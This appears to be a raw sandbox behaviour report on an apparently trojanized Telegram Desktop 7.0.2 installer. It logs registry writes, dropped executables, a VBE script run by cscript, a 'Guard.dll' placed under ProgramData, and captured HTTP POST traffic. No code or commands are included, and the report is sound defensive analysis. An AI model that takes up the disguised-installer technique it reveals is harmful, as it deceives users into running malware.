"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPV6DOMAIN"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "")67:T37d8,"tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "OWNER"; Value: "381E0000F676FCD42650DD0100") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "ABAF443DF192D7ADF9B9C6A350ADAC9BD0F81F1BA9CD90E4E36620C5B07149B200") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SEQUENCE"; Value: "0100000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%APPDATA%\Telegram Desktop\Telegram.exe") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "FD355020A8C249449D89161D4F8EF157BEBE1EEEE5CDBB8EE853D4C6CBA98E8800") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: SETUP VERSION"; Value: "6.4.1") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: APP PATH"; Value: "%APPDATA%\Telegram Desktop") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INSTALLLOCATION"; Value: "%APPDATA%\Telegram Desktop\") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: ICON GROUP"; Value: "Telegram Desktop") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: USER"; Value: "dyYd15z") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: SELECTED TASKS"; Value: "desktopicon") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: DESELECTED TASKS"; Value: "000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INNO SETUP: LANGUAGE"; Value: "english") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "DISPLAYNAME"; Value: "Telegram Desktop") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "DISPLAYICON"; Value: "%APPDATA%\Telegram Desktop\Telegram.exe") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "UNINSTALLSTRING"; Value: ""%APPDATA%\Telegram Desktop\unins000.exe"") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "QUIETUNINSTALLSTRING"; Value: ""%APPDATA%\Telegram Desktop\unins000.exe" /SILENT") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "DISPLAYVERSION"; Value: "7.0.2") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "PUBLISHER"; Value: "Telegram FZ-LLC") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "URLINFOABOUT"; Value: "https://desktop.telegram.org") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "HELPLINK"; Value: "https://desktop.telegram.org") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "URLUPDATEINFO"; Value: "https://desktop.telegram.org") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "NOMODIFY"; Value: "0100000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "NOREPAIR"; Value: "0100000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "INSTALLDATE"; Value: "20260929") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "MAJORVERSION"; Value: "0700000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "MINORVERSION"; Value: "0000000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "VERSIONMAJOR"; Value: "0700000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "VERSIONMINOR"; Value: "0000000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_IS1"; Key: "ESTIMATEDSIZE"; Value: "F451030000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\TELEGRAM DESKTOP\TELEGRAM.EXE"; Value: "11C344132F50DD010000000000000000000000000200000000") "tsetup-x64.7.0.2.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "6A22000000000000040004000100010001010000F1D9A3007400020000000571AE000708B8000C14B5000C3584000D7879000DA18100158AA20015E17A0016277B0016DDA400174B73001B4278001BF60B001C955C001DA16C001E8D52001F4EA8001F5D7A001FF77B00244BAB0024ACC700259960002989DF002A68A9002B2499002C3D810032D1A70036AC52003CB352003E33830041A8760042264A0048C24F0049E57D0049EAB7004AA710004AAA81004EBF72004F85B50053CE8400560A85005A5EB500682C900069C3A3006B767D006F0B6D00726E4A007477AD0075A37E0078EF6400799C39007CF788007FD189008106950081515D008227730083F1600084E683008550AE008A8093008B5188008C0E7B008E78A20090F7AF00936DAD0093866100959B5100976AB60097748D00978EAB009BE07A009D9D9200A2050600A6D69A00A736A800A7B8AD00A90DAE00B1CE9800B3F1A200B79C1400BB8E8B00BBAE7E00BCFA8D00BD539800BE0CAC00C36D8100C4114C00C8464E00C9389700CA23B700CC495600CDBD8C00D0175600D0725B00D08EAB00D19A7B00D1D2A700D3826100D3E88D00DAFF0E00DB6EA100E1C97700E21B5600E42A5E00E7997F00EBBF8400EEE17D00F17D5F00F1D9A300F1FC6000F548B100F7125E00F7D36F00F7ED6A00F8FE8200F9778C0058000600000003CC910007B3AD000858710009EF7D000BFF5C000E4D7E000FBA9E00110FAA001319830013B7B10013E9780016F0B20017349B001786A70019C398001C4452001D97A90022D38900316DBB003256AE0032E9830036A6AC00395EA700427F7A0042B3AE0042C46A0042FA5800472471004C41B4004CA770004EA059004F0CAC005CE17D00624F980069D281006B0961006E7B8C007140A300723C120072B29F0073CD610073D3A700757C860076418E0085CAA90091508A0091D3A30093168900938EAB0098B9A40099698A009CE0A8009D9FA0009F60C3009F8F6E00A02AAB00A18EAB00A1D7B300A3F76A00A522A400A58F6000A644A600A9A4C200AA1BAA00B6515D00BA146500BC88B100BC8AA700BD388F00BE558200C176B300C33EA300C456A100C45F7F00CC4BA700D0FE6200D1589600D6B79A00D93DAA00DC38AB00DE3D8300E17E8C00E98AA700EAB94F00EC9FBB00ED0CAD00F4AD7A00FE208B000300400100000571AE00682C9000F1D9A300010043010000C0EC7C0000") "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TDESKTOP.TG\DEFAULTICON"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe,1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TDESKTOP.TG\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe" -- "%1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\TELEGRAMDESKTOP\CAPABILITIES"; Key: "APPLICATIONNAME"; Value: "Telegram Desktop"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\TELEGRAMDESKTOP\CAPABILITIES"; Key: "APPLICATIONDESCRIPTION"; Value: "Telegram Desktop"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\TELEGRAMDESKTOP\CAPABILITIES\URLASSOCIATIONS"; Key: "TG"; Value: "tdesktop.tg"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\REGISTEREDAPPLICATIONS"; Key: "TELEGRAM DESKTOP"; Value: "SOFTWARE\TelegramDesktop\Capabilities"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TG"; Key: "URL PROTOCOL"; Value: "000000"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TG"; Key: "(DEFAULT)"; Value: "URL:Telegram Link"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TG\DEFAULTICON"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe,1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TG\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe" -- "%1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TDESKTOP.TONSITE\DEFAULTICON"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe,1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TDESKTOP.TONSITE\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe" -- "%1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\TELEGRAMDESKTOP\CAPABILITIES\URLASSOCIATIONS"; Key: "TONSITE"; Value: "tdesktop.tonsite"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TONSITE"; Key: "URL PROTOCOL"; Value: "000000"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TONSITE"; Key: "(DEFAULT)"; Value: "URL:TonSite Link"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TONSITE\DEFAULTICON"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe,1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKCU\TONSITE\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%APPDATA%\Telegram Desktop\Telegram.exe" -- "%1""), "Telegram.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "80220000000000000400040001001F000200000001318E000D7879000DA181001DA16C00259960003E338300560A85006BEE38006F0B6D00726E4A0075A37E008106950081515D008E78A200938661009D9D9200A736A800A90DAE00B1CE9800C0CC9900C36D8100CA23B700CC495600CFC29400D3826100D3E88D00E7997F00F1FC6000F7125E00F7D36F00F7ED6A000400060000001BE978005CE17D0091508A00A522A4000100400100000571AE0000"), "Telegram.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "81220000000000000400040001001F000200000001318E000D7879000DA181001DA16C00259960003E338300560A85006BEE38006F0B6D00726E4A0075A37E008106950081515D008E78A200938661009D9D9200A736A800A90DAE00B1CE9800C0CC9900C36D8100CA23B700CC495600CFC29400D3826100D3E88D00E7997F00F1FC6000F7125E00F7D36F00F7ED6A000500060000001BE97800508FC4005CE17D0091508A00A522A4000100400100000571AE0000"), "D5rra.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "OWNER"; Value: "800A00009741517E2F50DD0100"), "D5rra.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SESSIONHASH"; Value: "1AA4F43208F6222D0C3C0FA1AC4B5C1A358788390FB8810197229D564D2D9DAF00"), "D5rra.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "SEQUENCE"; Value: "0100000000"), "D5rra.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILES0000"; Value: "%ALLUSERSPROFILE%\CfServerSoftwareDistribution\Guard.dll"), "D5rra.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\RESTARTMANAGER\SESSION0000"; Key: "REGFILESHASH"; Value: "54C93AF69C9F44E5CB37AE0BCFC4D765F39FE9394152FF31D9538B637B1BC0E300"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL -100"; Value: "Isolated User Mode (IUM)"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL -101"; Value: "Enclave"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\DNSAPI.DLL -103"; Value: "Domain Name System (DNS) Server Trust"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL -843"; Value: "BitLocker Drive Encryption"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL -844"; Value: "BitLocker Data Recovery Agent"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\WUAUENG.DLL -400"; Value: "Windows Update"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE -124"; Value: "Document Encryption"), "System.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2FE\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\NGCRECOVERY.DLL -100"; Value: "Windows Hello Recovery Key Encryption")68:T5fa,"tsetup-x64.7.0.2.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\tsetup-x64.7.0.2.exe]- [targetUID: 00000000-00007176] "D5rra.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\D5rra.exe]- [targetUID: 00000000-00002688] "CoreLogic.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\CoreLogic.dll]- [targetUID: 00000000-00002688] "genteert.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\genteert.dll]- [targetUID: 00000000-00002804] "guig.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\gentee2B\guig.dll]- [targetUID: 00000000-00002804] "D5rra.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-DUFEV.tmp\D5rra.tmp]- [targetUID: 00000000-00002688] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688] "tsetup-x64.7.0.2.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp]- [targetUID: 00000000-00007176] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-BHBL5.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688]69:Tc6f,Dropped file: "adddf.vbe" - Location: [%APPDATA%\Telegram\adddf.vbe]- [targetUID: 00000000-00002804] Dropped file: "Telegram.lnk" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk]- [targetUID: 00000000-00002316] Dropped file: "Uninstall Telegram.lnk" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Uninstall Telegram.lnk]- [targetUID: 00000000-00007736] Dropped file: "is-E85C2.tmp" - Location: [%APPDATA%\Telegram Desktop\is-E85C2.tmp]- [targetUID: 00000000-00007736] Dropped file: "is-PVEBQ.tmp" - Location: [%APPDATA%\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp]- [targetUID: 00000000-00007736] Dropped file: "is-7JH8E.tmp" - Location: [%APPDATA%\Telegram Desktop\is-7JH8E.tmp]- [targetUID: 00000000-00007736] Dropped file: "cache_24_1" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_1]- [targetUID: 00000000-00002316] Dropped file: "cache_24_6" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_6]- [targetUID: 00000000-00002316] Dropped file: "cache_24_4" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_4]- [targetUID: 00000000-00002316] Dropped file: "cache_24_2" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_2]- [targetUID: 00000000-00002316] Dropped file: "cache_24_5" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_5]- [targetUID: 00000000-00002316] Dropped file: "cache_24_0" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_0]- [targetUID: 00000000-00002316] Dropped file: "cache_24_3" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_3]- [targetUID: 00000000-00002316] Dropped file: "cache_18_5" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_5]- [targetUID: 00000000-00002316] Dropped file: "cache_18_6" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_6]- [targetUID: 00000000-00002316] Dropped file: "cache_18_3" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_3]- [targetUID: 00000000-00002316] Dropped file: "cache_18_2" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_2]- [targetUID: 00000000-00002316] Dropped file: "cache_18_4" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_4]- [targetUID: 00000000-00002316] Dropped file: "cache_18_0" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_0]- [targetUID: 00000000-00002316] Dropped file: "cache_18_1" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_1]- [targetUID: 00000000-00002316] Dropped file: "0B6BAAA132866617s.QoUsKy" - Location: [%APPDATA%\Telegram Desktop\tdata\0B6BAAA132866617s.QoUsKy]- [targetUID: 00000000-00002316] Dropped file: "text" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\spoiler\text]- [targetUID: 00000000-00002316] Dropped file: "cache_24_7" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_24_7]- [targetUID: 00000000-00002316] Dropped file: "cache_18_7" - Location: [%APPDATA%\Telegram Desktop\tdata\emoji\cache_18_7]- [targetUID: 00000000-00002316] Dropped file: "is-2BAEF.tmp" - Location: [%APPDATA%\Telegram Desktop\is-2BAEF.tmp]- [targetUID: 00000000-00007736]6a:T4fe,"Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Telagrenn.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "tsetup-x64.7.0.2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "tsetup-x64.7.0.2.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "Telegram.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "D5rra.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "D5rra.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "D5rra.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "D5rra.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1")6b:T548d,"POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 292 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "4#/[ã»jxF`¨~ÙÅàr:x:Þ9&Íôý)Ó|=sT$*lË¸: ÷3nÐÖ¾¹ÎôM¾ÕÐdLýþ"&å8"Û¹r3LVAµÓ¯Z!C*¢kSÅ}^µ¸µFwwb«!-fÄ åG-fdõhwuøÂ~Ygew>iCñy¬Ì¦ÍùúÏõklþ=ö4¸cçm¼¢ÆG(3Ã¸Eílq%ìúÍF'é5§xöuÜÅmZ¹£i_°j`\¬AHuIùw{nhýöIGCtÃäàZ»S~í¦ÿË¿½K" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 144 with response body ==>0000000000000000012C59C39C74C394C2BB6A4000000063241605C28204C2A87EC399101BC38518C3A0C287C29D723A783AC38EC288C290C29AC3A4C28457C2....... "POST /api HTTP/1.1 Host: 95.161.76.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "HZã»jTxF`nó!úóY¶4z²(Ý>Áæ`\|}ñ?mÌíp¨J<ù(¡Å½`1äY+6å¢öx'(ÚÄSø×QväT`0BiËUp" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 168 with response body ==>000000000000000001243B2475C394C2BB6A4000000063241605156EC3B32106C280C3BAC3B359C2B6347AC2B2C2870228C399C296C3A7C3A60FC2A0C39C2DC2....... "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 112 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "øåZã»j\xF`[~¼ax^yH°³ÊøOì-:ñl`µÕÝi}7©þb§¥®krmÏZN¡ÃA/'¸rÏñyö¿N\LI}¿ù@p«ª&6ÁT" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache 